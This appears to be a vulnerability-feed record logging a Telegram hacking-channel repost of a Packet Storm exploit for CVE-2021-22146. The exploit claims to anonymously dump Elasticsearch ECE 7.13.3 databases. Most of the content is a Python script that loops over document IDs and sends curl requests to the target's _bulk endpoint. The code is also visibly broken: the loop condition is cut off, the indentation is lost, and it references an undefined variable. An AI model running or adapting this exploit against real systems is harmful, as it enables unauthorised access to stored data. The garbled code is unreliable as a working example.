{"uuid": "35c548d7-1ebd-461b-a884-2c54c148630f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/hacking_Attack/17855", "content": "Exploit Collector\nElasticsearch ECE 7.13.3 Database Disclosure\n\nhttps://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png \nElasticsearch ECE version 7.13.3 anonymous database dumping exploit.\n\nMD5 | 4ac1b7bc67c52c5c05cd6ea91a56b7e3\n\nDownload\n# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump\n# Date: 2021-07-21\n# Exploit Author: Joan Martinez @magichk\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://www.elastic.co/\n# Version: >= 7.10.0 to <=\n# Tested on: Elastic ECE (Cloud)\n# CVE : CVE-2021-22146\n# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 \n\nimport os\nimport argparse\nimport sys\n\n######### Check Arguments\ndef checkArgs():\nparser = argparse.ArgumentParser()\nparser = argparse.ArgumentParser(description='Elasticdump 1.0\\n')\nparser.add_argument('-s', \"--host\", action=\"store\",\ndest='host',\nhelp=\"Host to attack.\")\nparser.add_argument('-p', \"--port\", action=\"store\",\ndest='port',\nhelp=\"Elastic search port by default 9200 or 9201\")\nparser.add_argument('-i', \"--index\", action=\"store\",\ndest='index',\nhelp=\"Index to dump (Example: 30)\")\nargs = parser.parse_args()\nif (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :\nparser.print_help(sys.stderr)\nsys.exit(1)\nreturn args\n\ndef banner():\nprint(\"      _           _   _         _\")\nprint(\"  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __\")\nprint(\" / _ \\ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \\| '_ \\ \")\nprint(\"|  __/ | (_| \\__ \\ |_| | (_| (_| | |_| | | | | | | |_) |\")\nprint(\" \\___|_|\\__,_|___/\\__|_|\\___\\__,_|\\__,_|_| |_| |_| .__/\")\nprint(\"                                                 |_|\")\ndef exploit(host,port,index):\n\nif (index != 0):\nfinal = int(index)\nelse:\nfinal = 1000000000\n\ncont = 0\nwhile (cont <=\nos.system(\"curl -X POST \\\"\"+host+\":\"+port+\"/_bulk\\\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\\x0d\\x0a\\\"index\\\"  :  {\\x0d\\x0a \\\"_id\\\" :\\\"\"+str(cont)+\"\\\"\\x0d\\x0a}\\x0d\\x0a}\\x0d\\x0a' -k -s\")\ncont = cont + 1\n\nif __name__ == \"__main__\":\n\nbanner()\nargs = checkArgs()\nif (args.index):\nexploit(args.host,args.port,args.index)\nelse:\nexploit(args.host,args.port,0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:05.587136Z"}